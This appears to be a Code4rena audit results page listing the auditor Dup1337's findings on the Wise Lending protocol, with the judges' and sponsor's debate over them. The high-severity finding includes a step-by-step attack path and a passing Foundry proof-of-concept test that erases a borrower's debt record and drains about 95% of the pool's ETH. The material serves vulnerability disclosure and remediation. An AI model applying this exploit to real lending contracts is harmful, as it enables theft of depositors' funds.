Wise Lending - Dup1337's results

Decentralized liquidity market that allows users to supply crypto assets and start earning a variable APY from borrowers.

General Information

Platform: Code4rena

Start Date: 21/02/2024

Pot Size: $200,000 USDC

Total HM: 22

Participants: 36

Period: 19 days

Judge: Trust

Total Solo HM: 12

Id: 330

League: ETH

Wise Lending

Findings Distribution

Researcher Performance

Rank: 3/36

Findings: 3

Award: $20,400.36

🌟 Selected for report: 2

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: Dup1337

Labels

bug
3 (High Risk)
sufficient quality report
satisfactory
selected for report
H-02

Awards

18106.5192 USDC - $18,106.52

External Links

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L816-L866 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L667-L727

Vulnerability details

When pool token stops being used in the position, _removePositionData function is caled. It, however assumes that poolToken that is passed as a parameter, always exist in user token array, which is not always the case. In case of function FeeManager.paybackBadDebtNoReward(), which indirectly calls _removePositionData, insufficient validation doesn't check if repay token is in user array, which results in zeroing out information about user debt.

Impact

Free elimination of user debt.

Proof of Concept

First, let's see how MainHelper._removePositionData() works:

    function _removePositionData(
        uint256 _nftId,
        address _poolToken,
        function(uint256) view returns (uint256) _getPositionTokenLength,
        function(uint256, uint256) view returns (address) _getPositionTokenByIndex,
        function(uint256, address) internal _deleteLastPositionData,
        bool isLending
    )
        private
    {
        uint256 length = _getPositionTokenLength(
            _nftId
        );

        if (length == 1) {
            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            return;
        }

        uint8 i;
        uint256 endPosition = length - 1;

        while (i < length) {

            if (i == endPosition) {
                _deleteLastPositionData(
                    _nftId,
                    _poolToken
                );

                break;
            }

            if (_getPositionTokenByIndex(_nftId, i) != _poolToken) {
                unchecked {
                    ++i;
                }
                continue;
            }

            address poolToken = _getPositionTokenByIndex(
                _nftId,
                endPosition
            );

            isLending == true
                ? positionLendTokenData[_nftId][i] = poolToken
                : positionBorrowTokenData[_nftId][i] = poolToken;

            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            break;
        }
    }

So, _poolToken sent in parameter is not checked if:

  1. The position consists of only one token. Then the token is removed, no matter if it's _poolToken or not.
  2. No token was found during the position token iteration. In which case, last token is removed, no matter if it's _poolToken or not.

This function is called in MainHelper._corePayback(), which in turn is called in FeeManager.paybackBadDebtNoReward() => WiseLending.corePaybackFeeManager() => WiseLending._handlePayback(). Important factor is that paybackBadDebtNoReward() doesn't check if position utilizes _paybackToken passed by the caller and allows to pas any token. The only prerequisite is that badDebtPosition[_nftId] has to be bigger than 0:

    function paybackBadDebtNoReward(
        uint256 _nftId,
        address _paybackToken,
        uint256 _shares
    )
        external
        returns (uint256 paybackAmount)
    {
        updatePositionCurrentBadDebt(
            _nftId
        );

        if (badDebtPosition[_nftId] == 0) {
            return 0;
        }

        if (WISE_LENDING.getTotalDepositShares(_paybackToken) == 0) {
            revert PoolNotActive();
        }

        paybackAmount = WISE_LENDING.paybackAmount(
            _paybackToken,
            _shares
        );

        WISE_LENDING.corePaybackFeeManager(
            _paybackToken,
            _nftId,
            paybackAmount,
            _shares
        );

        _updateUserBadDebt(
            _nftId
        );
		// [...]

With these pieces of information, we can form following attack path:

1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. 2. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. 3. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

    function _corePayback(
        uint256 _nftId,
        address _poolToken,
        uint256 _amount,
        uint256 _shares
    )
        internal
    {
        _updatePoolStorage(
            _poolToken,
            _amount,
            _shares,
            _increaseTotalPool,
            _decreasePseudoTotalBorrowAmount,
            _decreaseTotalBorrowShares
        );

        _decreasePositionMappingValue(
            userBorrowShares,
            _nftId,
            _poolToken,
            _shares
        );

        if (userBorrowShares[_nftId][_poolToken] > 0) {
            return;
        }

        _removePositionData({
            _nftId: _nftId,
            _poolToken: _poolToken,
            _getPositionTokenLength: getPositionBorrowTokenLength,
            _getPositionTokenByIndex: getPositionBorrowTokenByIndex,
            _deleteLastPositionData: _deleteLastPositionBorrowData,
            isLending: false
        });
  1. Inside _removePositionData, because position length is 1, no check if token address matches will be performed:
        uint256 length = _getPositionTokenLength(
            _nftId
        );

        if (length == 1) {
            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            return;
        }
  1. This means that all information about user borrow are deleted, meaning that now system thinks that user has $1M collateral, and no debt. Which means that the attacker just stole whole borrowed amount.

Tools Used

Manual Review

Add verification if the token that is passed to _removePositionData() exists in user tokens. If not, revert the transaction.

Assessed type

Invalid Validation

#0 - GalloDaSballo

2024-03-17T12:02:39Z

This looks off and should have had a coded POC Flagging out of caution

#1 - c4-pre-sort

2024-03-17T12:02:41Z

GalloDaSballo marked the issue as sufficient quality report

#2 - vm06007

2024-03-20T11:30:33Z

This looks off and should have had a coded POC Flagging out of caution

I didn't get what kind of flag got applied and why it says sufficient quality report even though it clearly does not even has POC and poorly described with false assumptions?

#3 - vonMangoldt

2024-03-20T13:01:23Z

Dbl checking line fo reasoning fails when user deposits large amount and then borrows.

quote: 1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. 2. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. 3. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

Comment: 1a.) Ok say big position has nftId = 1 1b.) oOk say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.

But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:

updatePositionCurrentBadDebt( _nftId );

in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:

if (badDebtPosition[_nftId] == 0) { return 0; }

and no harm done. On top of that as @vm06007 said no Poc provided so dismissed

#4 - c4-judge

2024-03-26T18:43:05Z

trust1995 marked the issue as unsatisfactory: Insufficient proof

#5 - deliriusz

2024-03-29T08:22:56Z

@trust1995 , I'm sorry that I didn't provide the PoC before. I provide coded PoC now. It shows that user is able to steal whole protocol funds, due to wrong algoritm in _removePositionData(). I managed to not use very big position and a single token, which makes this issue even easier to perform.

PoC procided below does the following:

  1. setup initial state - 2 lenders depositing 100 ETH each, and 1 borrower whose position will have bad debt. For the purpose of this test I chose market crash condition, however using small position that will give no incentives to liquidate it will also work.
  2. Position is underwater and is liquidated in order to increase bad debt for user position. This is a prerequisite for being able to trigger bad debt repayment
  3. When bad debt repayment is triggered for a token that user didn't use, _removePositionData() removes last token in user borrow tokens. In this case that means that the user doesn't have any tokens in his debt tokens listed.
  4. User borrows 95% of ALL ETH that the protocol holds. It's possible, because when performing health check at the end of borrow, all user borrow tokens are iterated through - and remember that we just removed the token.
  5. At the end I verify that the user really got the funds, which proves that the issue is real.
// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

import "./WiseLendingBaseDeployment.t.sol";

contract DebtClearTest is BaseDeploymentTest {
    address borrower = address(uint160(uint(keccak256("alice"))));
    address lender = address(uint160(uint(keccak256("bob"))));
    address lender2 = address(uint160(uint(keccak256("bob2"))));

    uint256 depositAmountETH = 100 ether; // 10 ether
    uint256 depositAmountToken = 10 ether; // 10 ether
    uint256 borrowAmount = 5e18; // 5 ether

    uint256 nftIdLiquidator; // nftId of lender
    uint256 nftIdLiquidatee; // nftId of borrower

    uint256 debtShares;

    function _setupIndividualTest() internal override {
        _deployNewWiseLending(false);

        // set token value for simple calculations
        MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH
        assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer());
        vm.stopPrank();
        
        // fund lender and borrower
        vm.deal(lender, depositAmountETH);
        vm.deal(lender2, depositAmountETH);
        deal(address(MOCK_WETH), lender, depositAmountETH);
        deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2);
        deal(address(MOCK_ERC20_1), lender, depositAmountToken * 2);
    }

    function testRemovingToken() public {
        IERC20 WETH = IERC20(LENDING_INSTANCE.WETH_ADDRESS());
                // lender supplies ETH
        vm.startPrank(lender);

        nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator);

        vm.stopPrank();

        // prank second provider to make sure that the borrower is able to
        // steal everyone's funds later
        vm.startPrank(lender2);

        uint nftIdfundsProvider = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdfundsProvider);

        vm.stopPrank();

        // borrower supplies collateral token and borrows ETH
        vm.startPrank(borrower);

        MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2);

        nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition();
        
        vm.warp(
            block.timestamp + 10 days
        );

        LENDING_INSTANCE.depositExactAmount( // supply collateral
            nftIdLiquidatee, 
            address(MOCK_ERC20_2), 
            10
        );

        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH

        vm.stopPrank();

        // shortfall event/crash occurs. This is just one of the possibilities of achieving bad debt
        // second is maintaining small position that gives no incentive to liquidate it.
        vm.prank(MOCK_DEPLOYER);
        MOCK_CHAINLINK_2.setValue(0.3 ether);

        // borrower gets partially liquidated
        vm.startPrank(lender);

        MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18 + 1 
        );

        vm.stopPrank();

        // global and user bad debt is increased
        uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertGt(totalBadDebt, 0); 
        assertGt(userBadDebt, 0);
        assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same

        vm.startPrank(lender);

        MOCK_ERC20_1.approve(address(LENDING_INSTANCE), type(uint256).max);
        MOCK_ERC20_1.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        
        // check how much tokens the position that will be liquidated has
        uint256 lb = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );

        assertEq(lb, 1);

        uint256 ethValueBefore = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );

        console.log("ethBefore ", ethValueBefore);

        // **IMPORTANT** this is the core of the issue
        // When bad debt occurs, there are 2 critical checks missing:
        // 1. that the amount to repay is bigger than 0
        // 2. that the token to repay bad debt has the bad debt for user
        // This allows to remove any token from the list of user borrow tokens,
        // because of how finding token to remove algorithm is implemented:
        // it iterates over all the tokens and if it doesn't find matching one
        // until it reaches last, it wrongly assumes that the last token is the
        // one that should be removed.
        // And not checking for amount of repayment allows to skip Solidity underflow 
        // checks on diminishing user bad debt.
        FEE_MANAGER_INSTANCE.paybackBadDebtNoReward(
            nftIdLiquidatee, 
            address(MOCK_ERC20_1), // user doesn't have debt in this token
            0
        );

        uint256 ethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        uint256 ethWethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(WETH)
        );
        console.log("ethAfter ", ethValueAfter);

        // assert that the paybackBadDebtNoReward removed token that it shouldn't
        uint256 la = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la, 0);

        vm.stopPrank();
        
        uint lendingWethBalance = WETH.balanceOf(address(LENDING_INSTANCE));

        console.log("lb ", lendingWethBalance);
        console.log("bb ", borrower.balance);

        vm.startPrank(borrower);

        // borrow 95% of ALL ETH that the protocol possesses
        // this works, because when calculating health check of a position
        // it iterates through `getPositionBorrowTokenLength()` - and we
        // were able to remove it.
        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, WETH.balanceOf(address(LENDING_INSTANCE)) * 95 / 100); // borrow ETH

        console.log("lb ", WETH.balanceOf(address(LENDING_INSTANCE)));
        console.log("ba ", borrower.balance);

        // make sure that borrow tokens were not increased
        uint256 la2 = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la2, 0);

        // verify that ~95% were taken from the pool and borrower received them
        assertLt(WETH.balanceOf(address(LENDING_INSTANCE)), lendingWethBalance * 6 / 100);
        assertGt(borrower.balance, lendingWethBalance * 94 / 100);

        uint256 ethValueAfter2 = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        console.log("ethAfter2 ", ethValueAfter2);
        vm.stopPrank();

        // borrowing doesn't increase user borrow
        assertEq(ethValueAfter, ethValueAfter2);
    }
}

At the end of the test, it's verified that user is in possession of ~95% of the ETH that was initially deposited to the pool.

#6 - trust1995

2024-03-29T11:16:13Z

Confirmed the test passes.

[PASS] testRemovingToken() (gas: 2242360) Logs: ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0x6D93d20285c95BbfA3555c00f5206CDc1D78a239 POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0x1b5a405a4B1852aA6F7F65628562Ab9af7e2e2e9 LATEST RESPONSE 1000000000000000000 ethBefore 300000000000000000 ethAfter 300000000000000000 lb 195100000000000000001 bb 5000000000000000000 lb 9755000000000000001 ba 190345000000000000000 ethAfter2 300000000000000000

The likelihood / impact are in line with high severity. A POC was not initially provided, but the step by step given is deemed sufficient.

#7 - c4-judge

2024-03-29T11:16:18Z

trust1995 marked the issue as satisfactory

#8 - c4-judge

2024-03-29T11:16:21Z

trust1995 marked the issue as selected for report

#9 - vm06007

2024-03-29T14:18:16Z

@Foon256 or @vonMangoldt can check this again I think, I'll check what kind of code change we need to add in order to prevent this scenario.

#10 - Foon256

2024-04-01T13:44:01Z

The POC is correct but different from the previous presented attack, which was not possible as @vonMangoldt has shown. I don't know about the rules in this case, because the POC has been submitted long after the deadline and is a different attack than submitted before.

#11 - trust1995

2024-04-01T17:29:58Z

  • The warden's identification of the root cause is correct
  • The severity is correct
  • Foon's comment is after PJQA, therefore cannot hold any weight
  • If there were different submissions this would have gotten a 50% but for solo finds there is no mechanism for partial scoring.

#12 - GalloDaSballo

2024-04-15T12:57:12Z

Summary of the issue

Due to an incorrect logic, it is possible for a user to have all of their debt forgiven by repaying another bad debt position with a non-existing token

Hickuphh3’s input

This issue should’ve been accompanied with a POC, then there would be no disambiguity over its validity and severity.

I agree with the judge’s assessment. The warden correctly identified the root cause of lacking input validation of _poolToken, which allows _removePositionData to incorrectly remove borrowed positions, thus erasing that user’s debt.

The severity of this alone is high, as it effectively allows the user to forgo repaying his debt.

I disagree with the statement that the POC is different from the previous presented attack. It is roughly the same as the presented step-by-step walkthrough, with amplified impact: the user is able to borrow more tokens for free subsequently, without having to repay.

Disregarding the POC that was submitted after the contest, IMO, the line-by-line walkthrough sufficiently proved the issue.

Alex’s input

Facts:

  1. paybackBadDebtNoReward can be called with non existant paybacktoken
  2. First poolToken bad debt position will be deleted by default
  3. Remove position in the original submission is not fully clear, but is implicitly mentioning using _deleteLastPositionBorrowDatafor _removePositionData
  4. This will forgive the bad debt and break the system
  5. Was disputed due to this

This asserts that the attack cannot be done atomically, that's true 6) The original submission explains that, due to generating bad debt

I believe that the finding has shown a way for bad debt to be forgiven, and that the race condition around "proper" vs "malicious" liquidators is not a major decision factor

I would like to add that the original submission is passable but should have done a better job at: Using only necessary snippets, with comments and tags, Explain each logical step more simply (A calls B, B is pointer to C, C is doing X)

I believe the Root cause and the attack was shown in the original submission and as such believe the finding to be valid and high severity

Dan’s Input

I think this one should be held as invalid due to this ruling: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-standardization-of-additional-warden-output-during-qa Decisions from the inaugural Supreme Court session, Fall 2023 | Cod... As far as I can see, the swaying information was the POC added after the submission deadline. It doesn't matter if the issue was technically correct. The quality was not high enough to lead the judge to mark it as satisfactory without the additional information. @Alex The Entreprenerd thoughts?

Alex: I don't think the POC added any additional info that was not present in the original submission

Invalid token causes default pop of real token

That was identified in the original submission

I think the dispute by the sponsor was incorrect as asserting that this cannot be done atomically doesn't justify the bug of mismatch address causing defaults being forgiven

I think the POC added context over content

Dan: Apologies guys... didn't read it carefully enough on the first pass. I've re-evaluated and while I don't like the quality of the original submission and would probably have invalidated it myself, I'm willing to align with the two of you and leave it as high risk. The attack is valid and the nuance is in interpreting rules, not validity.

Additional input from the Sponsor (Requested by the Lead Judge)

Alex asked: For issue 215: I'd like to ask you what you think was invalid about the first submission and what's specifically makes the original submission different from the POC sent after?

We understand that the quality of the original submission is sub optimal

Sponsor replied: Dbl checking line fo reasoning fails when user deposits large amount and then borrows.

1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

Comment: 1a.) Ok say big position has nftId = 1 1b.) Ok say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.

But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:

updatePositionCurrentBadDebt( _nftId ); in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:

if (badDebtPosition[_nftId] == 0) { return 0; } and no harm done. Alex: This makes sense as there is no way to attack the protocol in the same tx However, if the price where to fall, then wouldn't the attacker be able to apply the attack mentioned in the original submission?

Sponsor: they will be liquidated beforehand. Thats why the submittor mentioned it is necessary to create a position which is small hence no incentivize to liquidate. Again the way described by submittor does not work as pointed out in github and here again

Alex: My understanding of the issue is that by specifying a non-existing token for liquidation, the first token is popped without paying for the position debt

Am I missing something about this?

Sponsor 1: not for liquidation for payingback edit: paybackBadDebtNoReward only works for positions with bad debt but bad debt usually accrues with debt and no collateral only time it doesnt if collateral is so small gas is more expensive than to liquidate beforehand while price from collateral is falling

Sponsor 2: for payingback bad debt positions with paybackBadDebtNoReward() We added this feature to be able to remove bad debt from the protocol. User can do it and get a little incentive with paybackBadDebtForToken() or a generous donor/ the team can pay it back for free with paybackBadDebtNoReward() paybackBadDebtForToken() is only possible if there is some collateral left in the bad debt position nft.

Sponsor 1: the for free part is technically not needed anymore anyway since we opend paying back for everyone

Alex: Ok, and what do you think changed from the original submission and the POC that makes the finding different?

Sponsor 1: you mean the PoC after deadline which is therfor not counted? He just manipulates price so that no one has the chance to liquidate Sponsor 1 continuation: If we look at the point from the poc provided AFTER deadline (invalid therfor anyway) then we conclude its an expectedValue question. Attacker either donates liquidation incentives to liquidators and therfor loses money (10%) Or gains money if hes lucky that he doesnt get liquidated within a 10-20% price difference and gets to call the other function first. So if you think as an attacker the probability that eth e.g drops 20% in one chainlink update ( afaik never happend before) or that during a 20% drawdown liquidators dont get put into a block and this likelyhood is bigger than 5% OVERALL then you would make money. The chance of liquidators not picking up free money i would say is more in the low 0.001% estimation rather than 5%.

So on average its highly minus -ev to do that

Alex: Good points, thank you for your thoughts!

What are your considerations about the fact that the attacker could just participate in the MEV race, allowing themselves to either front-run or be the first to self-liquidate as a means to enact the attack?

Shouldn't the system ideally prevent this scenario from ever being possible?

Sponsor 3: I'll let my devs comment on your question about the attacker participating as a liquidator, but as far as the last part about "shouldn't the system prevent"

I do not believe our position on this finding is that it's objectively invalid. In fact I'm sure we have already patched it for our live code which is already deployed on Arbitrum. Our position is that, per the C4 rules the submission is invalid for this specific competitive audit Feb 19th - March 11th and should not be listed in the findings or receive rewards, as it would be unfair to take away money from the other wardens who did submit findings in the time frame given. That being said, we are willing to accept it as a medium finding as a compromise. Sponsor 1: youre welcome . The attack does not start with liquidating it is stopped by liquidating (including if the attacker liquidates) (if its in time relating to liquidation incentive vs distance between collateral in debt in percentage)

thats why in a poc you need to manipualte price instantly a great deal without being liquidated (doesnt matter by whom)

Deliberation

We believe that the dispute from the Sponsor comes from a misunderstanding of the submission which ultimately shows an incorrect logic when dealing with liquidations

While the specifics of the submission leave a lot to be desired, the original submission did identify the root cause, this root cause can be weaponized in a myriad of ways, and ultimately gives the chance to an underwater borrower to get a long forgiven

For this reason we believe the finding to be a High Severity finding

Additional Context by the Lead Judge

We can all agree that a POC of higher quality should have been sent, that said our objective at C4 is to prevent real exploits, over a sufficiently long span of time, dismissing barely passable findings would cause more exploits, which will cause real damage to Projects and People using them as well as taint the reputation of C4 as a place where “No stone is left unturned”

I would recommend the staff to look into ways to penalize these types of findings (for example give a bonus to the judge as an extensive amount of time was necessary to prove this finding)

But I fail to see how dismissing this report due to a lack of POC would help the Sponsor, and Code4rena over the long term

#13 - thebrittfactor

2024-04-29T14:25:51Z

For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.

Findings Information

🌟 Selected for report: 0xStalin

Also found by: Dup1337, Jorgect

Labels

bug
2 (Med Risk)
insufficient quality report
:robot:_33_group
satisfactory
duplicate-237

Awards

1128.1754 USDC - $1,128.18

External Links

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseSecurity/WiseSecurityHelper.sol#L876-L900 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L1250-L1309

Vulnerability details

The WiseSecurity.sol has a glitch in the checksLiquidation and checkMaxShares functions, where a user can prevent liquidation by front-running the liquidator. This is achieved by topping up their position with a minimal amount (e.g., 1 share) just before the liquidation transaction is processed. This method exploits the liquidation logic that determines the maximum shares a liquidator can acquire based on the current debt and collateral level. If the liquidator attempts to liquidate the maximum possible value to drive the price to healthly state or up to 50% for liquidations that don't have enough bad debt, the user can make a small top-up to their position, causing the liquidator's transaction to revert due to the TooManyShares error. Moreover, on Layer 2 networks where transaction costs are relatively low, users can repeatedly exploit this vulnerability with minimal expense, further driving their positions into bad debt.

Impact

Unhealthly positions can delay being liquidated by making minimal top-ups to their accounts.

Proof of Concept

  1. A user's account is on the verge of liquidation.
  2. A liquidator attempts to liquidate this account by calculating the maximum shares they can acquire, as defined in the checkMaxShares function.
    function checkMaxShares(
        uint256 _nftId,
        address _tokenToPayback,
        uint256 _borrowETHTotal,
        uint256 _unweightedCollateralETH,
        uint256 _shareAmountToPay
    )
        public
        view
    {
        uint256 totalSharesUser = WISE_LENDING.getPositionBorrowShares(
            _nftId,
            _tokenToPayback
        );

        uint256 maxShares = checkBadDebtThreshold(_borrowETHTotal, _unweightedCollateralETH)
            ? totalSharesUser
            : totalSharesUser * MAX_LIQUIDATION_50 / PRECISION_FACTOR_E18;

        if (_shareAmountToPay <= maxShares) {
            return;
        }

        revert TooManyShares();
    }
  1. Before the liquidator's transaction is mined, the user sends a transaction to slightly increase their collateral (by as little as 1 share or min amount that will revert).
  2. The liquidator's transaction then checks if the share amount to pay exceeds the maximum allowed shares, which now includes the user's tiny top-up.
  3. Because of this top-up, the liquidation transaction exceeds the maximum allowed shares and is reverted by the TooManyShares error, preventing the liquidation.

The user can pay back any amount of shares, as low as 1, because there is no check for min value:

    function manuallyPaybackShares(
        uint256 _keyId,
        uint256 _paybackShares
    )
        external
        updatePools
    {
        _manuallyPaybackShares(
            farmingKeys[_keyId],
            _paybackShares
        );

        emit ManualPaybackShares(
            _keyId,
            farmingKeys[_keyId],
            _paybackShares,
            block.timestamp
        );
    }
    function paybackExactAmount(
        uint256 _nftId,
        address _poolToken,
        uint256 _amount
    )
        external
        syncPool(_poolToken)
        returns (uint256)
    {
        uint256 paybackShares = calculateBorrowShares(
            {
                _poolToken: _poolToken,
                _amount: _amount,
                _maxSharePrice: false
            }
        );

        _validateNonZero(
            paybackShares
        );

        _handlePayback(
            msg.sender,
            _nftId,
            _poolToken,
            _amount,
            paybackShares
        );

       // [...]

Tools Used

Manual Review

Require minimum amount of repayment from user as with deposits, for example min(userDebtInUSD, WISE_SECURITY.checkPoolWithMinDeposit(...)) . This will be more costly for the user and will limit the possible duration of bad debt attack.

Assessed type

DoS

#0 - c4-pre-sort

2024-03-18T16:32:18Z

GalloDaSballo marked the issue as duplicate of #237

#1 - c4-pre-sort

2024-03-18T16:32:39Z

GalloDaSballo marked the issue as insufficient quality report

#2 - c4-judge

2024-03-26T19:04:46Z

trust1995 marked the issue as partial-50

#3 - c4-judge

2024-03-26T19:05:18Z

trust1995 marked the issue as full credit

#4 - c4-judge

2024-03-26T19:13:01Z

trust1995 marked the issue as satisfactory

Findings Information

🌟 Selected for report: Dup1337

Also found by: 0x11singh99, NentoR, cheatc0d3, nonseodion, serial-coder, shealtielanz

Labels

bug
grade-a
QA (Quality Assurance)
sufficient quality report
selected for report
Q-05

Awards

1165.6575 USDC - $1,165.66

External Links

Issues
[L-01]Wrong fee amount check doesn't protect against extensive fees
[L-02]Allowed spread check allows for smaller spread than expected
[L-03]No validation of token being removed has shares
[L-04]Opening nonleveraged position in pendle power farm is impossible
[L-05]Adding too much Pendle markets DoSes Pendle Power Farm
[L-06]Borrow APY calculations don't account for utilization rate
[L-07]Possible DoSing of Pendle farm via overflow
[NC-01]exitFarm doesn´t default the isAave flag

[L-01] Wrong fee amount check doesn't protect against extensive fees

Function PendlePowerFarmToken.depositExactAmount() checks if position mint fee is not too big by reverting with TooMuchFee() error, if reducedShares == feeShares evaluates to true. This check is not sufficient, because if feeShares are bigger than reducedShares, the condiiton will succeed. Hence, the protection is not sufficient to protect against too big fee.

PendlePowerFarmToken.sol
    function depositExactAmount(
//[...]
        uint256 reducedShares = _applyMintFee(
            shares
        );

        uint256 feeShares = shares
            - reducedShares;

        if (feeShares == 0) {
            revert ZeroFee();
        }

        if (reducedShares == feeShares) { // @audit it doesn't concern case when feeShares > reducedShares
            revert TooMuchFee();
        }

The check should be changed to if (reducedShares <= feeShares).

[L-02] Allowed spread check allows for smaller spread than expected

Allowed spread check allows for smaller spread than expected, because spread percentage is calculated from value after swaps, not before.

        uint256 ethValueBefore = _getTokensInETH(
            ENTRY_ASSET,
            _depositAmount
        );

        (
            uint256 receivedShares
            ,
        ) = IPendleChild(PENDLE_CHILD).depositExactAmount(
            netLpOut
        );

        uint256 ethValueAfter = _getTokensInETH( 
            PENDLE_CHILD,
            receivedShares
        )
            * _allowedSpread // @audit spread is calculated from diminished value
            / PRECISION_FACTOR_E18;

        if (ethValueAfter < ethValueBefore) {
            revert TooMuchValueLost();
        }

So, the check is actually if value ETH after * _allowedSpread >= deposit ETH value. However, the calculation checks if the spread is actually lower than set by user, because the slippage is applied to already diminished value. For example, let's say that user passes the following:

depositAmount = 100 allowedSlippage = 105e16 (5%)

So slippage down to 95 should be accepted. However, due to the flipped calculations, the slippage check would look like 95 * 105% < 100 => 99.75 < 100 and would revert, even though it should be accepted.

[L-03] No validation of token being removed has shares

The manual remove function doesnt validate whether the pool being removed has shares. It can be organicly have shares during the removal either by TX order or already the share is there;

Contract: FeeManager.sol

438:     function removePoolTokenManual(
439:         address _poolToken
440:     )
441:         external
442:         onlyMaster
443:     {
444:         uint256 i;
445:         uint256 len = getPoolTokenAddressesLength();
446:         uint256 lastEntry = len - 1;
447:         bool found;
448: 
449:         if (poolTokenAdded[_poolToken] == false) {
450:             revert PoolNotPresent();
451:         }
452: 
453:         while (i < len) {
454: 
455:             if (_poolToken != poolTokenAddresses[i]) {
456: 
457:                 unchecked {
458:                     ++i;
459:                 }
460: 
461:                 continue;
462:             }
463: 
464:             found = true;
465: 
466:             if (i != lastEntry) {
467:                 poolTokenAddresses[i] = poolTokenAddresses[lastEntry];
468:             }
469: 
470:             break;
471:         }
472: 
473:         if (found == true) {
474: 
475:             poolTokenAddresses.pop();
476:             poolTokenAdded[_poolToken] = false;
477: 
478:             emit PoolTokenRemoved(
479:                 _poolToken,
480:                 block.timestamp
481:             );
482: 
483:             return;
484:         }
485: 
486:         revert PoolNotPresent();
487:     }

[L-04] Opening nonleveraged position in pendle power farm is impossible

If user wants to have <100% exposure it will revert, in case if 1x leverage flash will be 0 and balancer will revert too

Contract: PendlePowerFarm.sol

185:     function _openPosition(
186:         bool _isAave,
187:         uint256 _nftId,
188:         uint256 _initialAmount,
189:         uint256 _leverage,
190:         uint256 _allowedSpread
191:     )
192:         internal
193:     {
